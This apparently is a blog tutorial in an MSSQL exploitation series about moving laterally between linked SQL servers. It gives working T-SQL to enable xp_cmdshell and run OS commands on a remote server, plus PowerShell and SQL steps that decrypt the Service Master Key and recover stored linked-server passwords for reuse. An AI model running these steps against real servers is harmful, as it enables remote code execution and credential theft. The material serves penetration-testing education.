Post

4. Lateral Movement between mssql servers

MSSQL server enumeration and exploitation series

4. Lateral Movement between mssql servers


๐Ÿ”— Lateral Movement using Linked Servers in MSSQL

Lateral movement between MSSQL servers involves leveraging access to one SQL Server to move laterally to other servers in the network. This can be achieved through built-in features, misconfigurations, or trust relationships. The most well-known technique for lateral movement between MSSQL servers is Linked Servers (Database Trusts). However, there are other methods such as Reusing Credentials and CLR Assemblies. In this blog, I will focus on Linked Servers.

๐Ÿง  Concept

A Linked Server allows one SQL Server instance (Server A) to execute queries on another SQL Server instance (Server B). It enables cross-server communication, often configured for database integration or centralized data access.

๐ŸŽฏ Use Cases in Offensive Security

If youโ€™re on a compromised MSSQL server (Server A), and itโ€™s linked to another server ( Server B), you may:

  • Enumerate linked servers.
  • Execute queries on Server B remotely.
  • Execute OS-level commands (xp_cmdshell) on Server B.
  • Extract and decrypt saved linked server credentials.

๐Ÿ› ๏ธ Query Methods for Linked Servers

There are three main ways to query a linked server:

MethodUse CaseNotes
OPENQUERYQuery the remote server using T-SQL.Returns a single result set only.
EXECUTE ATMore flexible than OPENQUERY.Supports multiple result sets and extended procedures.
OPENROWSETAd-hoc connection using connection string.Doesnโ€™t need pre-linked servers.

๐Ÿ” Permissions

  • You do not need sysadmin role to run queries across linked servers.
  • You do need sysadmin or similar high privileges on the remote server to execute system commands (via xp_cmdshell).

๐Ÿ•ต๏ธโ€โ™‚๏ธ Enumerating Linked Servers

1
EXEC sp_linkedservers;

This lists all linked servers available.

image.png

There are two servers - SQL01 , which is the server we are currently connected to, and SQL02 , which is a remote server that is linked to this one.

๐Ÿ” Viewing Remote Databases via OPENQUERY

1
SELECT * FROM OPENQUERY(SQL02, 'SELECT name, database_id, create_date FROM sys.databases');

This executes the inner query on SQL02 and returns the databases back to SQL01.

image.png

๐Ÿงช Checking Remote Privileges using OPENQUERY

To check if your current login has sysadmin on the remote server (e.g., SQL02):

1
SELECT * FROM OPENQUERY(SQL02, 'SELECT IS_SRVROLEMEMBER(''sysadmin'')');

image.png

Use double single-quotes to escape quotes in nested queries.

๐Ÿ› ๏ธ Remote Code Execution (RCE) via Linked Servers

If youโ€™re confirmed sysadmin on the linked server (SQL02), you can enable xp_cmdshell and run OS commands remotely:

1
2
3
4
5
EXECUTE (
    'EXEC sp_configure "show advanced options", 1; RECONFIGURE;
    EXEC sp_configure "xp_cmdshell", 1; RECONFIGURE;
    EXEC xp_cmdshell "whoami";'
) AT SQL02;

image.png

If successful, the output will show the service account running SQL Server (e.g., NT Service\MSSQLSERVER).

This service account could be abused later as it have SeImpersonatePrivilege privilege.

image.png

๐Ÿงฐ Post-Exploitation: Decrypting Linked Server Credentials

๐Ÿ” Background

After compromising a machine hosting an MSSQL Server instance with linked servers, itโ€™s possible to extract and decrypt the SQL Server Authentication credentials used for those links.

To achieve this, you must have:

  • A login with the sysadmin role on the SQL Server instance.
  • Local administrator privileges on the underlying Windows machine hosting the SQL Server.

If you have local administrator privileges but not sysadmin access, you can escalate to sysadmin using this authorization bypass technique.

๐Ÿ”’ Where Are Linked Server Credentials Stored?

When a linked server uses SQL Server Authentication, the associated username and password are:

  • Encrypted using the SQL Serverโ€™s Service Master Key (SMK).
  • Stored locally in the system table: master.sys.syslnklgns

However, this table is protected and can only be queried through a Dedicated Admin Connection (DAC).

๐Ÿ› ๏ธ Manual

๐Ÿง‘โ€๐Ÿ’ป 1. Connecting via DAC in SSMS

  1. Close all current connections in SSMS.
  2. Go to File > New > Database Engine Query.
  3. In the Server name, enter: ADMIN:SQL02.
  4. Authenticate as a local sysadmin (e.g., SQL02\Administrator). In this case, we will use Windows Authentication as SQL02\Administrator .

    image.png

๐Ÿ”Ž 2. Query Encrypted Linked Server Credentials

1
2
3
4
5
SELECT sysservers.srvname, syslnklgns.name, syslnklgns.pwdhash
FROM master.sys.syslnklgns
INNER JOIN master.sys.sysservers
ON syslnklgns.srvid = sysservers.srvid
WHERE LEN(pwdhash) > 0;

This reveals encrypted passwords (pwdhash) for each linked server login.

image.png

๐Ÿ“ฆ 3. Obtain encrypted MSK

The credentials stored in sys.syslnklgns are symmetrically encrypted with the Service Master Key, which is stored inside the sys.key_encryptions table with a key_id value of 102 .

MSSQL uses a Service Master Key (SMK) to encrypt the passwords. The SMK is encrypted using DPAPI (Data Protection API) and stored in:

1
SELECT * FROM sys.key_encryptions WHERE key_id = 102;

image.png

Youโ€™ll see two rows:

  • One encrypted for CurrentUser 0x01
  • One for LocalMachine โ† easiest to decrypt with local admin privileges.

๐Ÿ”“ 4. Decrypting the Service Master Key (SMK)

  1. Get DPAPI Entropy from Registry

    1
    
     Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL16.MSSQLSERVER\Security" -Name "Entropy"
    
  2. Decrypt SMK in PowerShell

    1
    2
    3
    4
    5
    6
    7
    
     $encryptedData = "0x...";  # From SQL query
     $encryptedData = $encryptedData.Substring(18);
     $encryptedData = -split ($encryptedData -replace '..', '0x$& ');
     $entropy = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL16.MSSQLSERVER\Security" -Name "Entropy").Entropy;
     Add-Type -AssemblyName System.Security;
     $SMK = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedData, $entropy, 'LocalMachine');
     Write-Host (($SMK|ForEach-Object ToString X2) -join '');
    

    image.png

    This gives you the decrypted hex-encoded SMK. which we may now use to decrypt the credentials found previously.

    You can verify which encryption algorithm was used by checking the length of the decrypted Service Master Key .

    • If it is 16 bytes long, then AES was used
    • if it is 8 bytes long then 3DES was used. In this case, we are running MSSQL Server 2022 , and the Service Master Key is 16 bytes long, so we know that AES is the encryption algorithm being used to encrypt the linked server credentials.

๐Ÿ”“ 5. Decrypting Linked Server Passwords with SMK

  1. Extract IV & Ciphertext

    1
    2
    3
    4
    5
    6
    
     SELECT
         name,
         SUBSTRING(pwdhash, 5, 16) AS 'IV',
         SUBSTRING(pwdhash, 21, LEN(pwdhash) - 20) AS 'Ciphertext'
     FROM sys.syslnklgns
     WHERE LEN(pwdhash) > 0;
    

    image.png

  2. Use CyberChef to Decrypt

    Use CyberChefโ€™s AES Decrypt recipe:

    • Key: The SMK from PowerShell (Hex)
    • IV: Extracted IV from T-SQL, The first 16 bytes (after padding) of ws_userโ€™s pwdhash
    • Input: Extracted Ciphertext which in this case is the remaining bytes from ws_user โ€˜s pwdhash
    • Mode: CBC
    • Encoding: Hex
    • Output: Decode as UTF-16LE

      image.png

    Youโ€™ll get the decrypted password, possibly with some leading junk bytes.

    We can now use this to authenticate against SQL01 , and if we are lucky, there may be a domain user which uses the same password.

๐Ÿค– Automated

Thereโ€™s a PowerShell module to automate linked server password decryption:

๐Ÿ“Œ Get-MSSQLLinkPasswords.psm1

Use this after gaining access to the target SQL host, Simply import the PowerShell module ( located on SQL02\Administrator โ€˜s desktop), and then invoke Get-MSSQLLinkPasswords

image.png

This post is licensed under CC BY 4.0 by the author.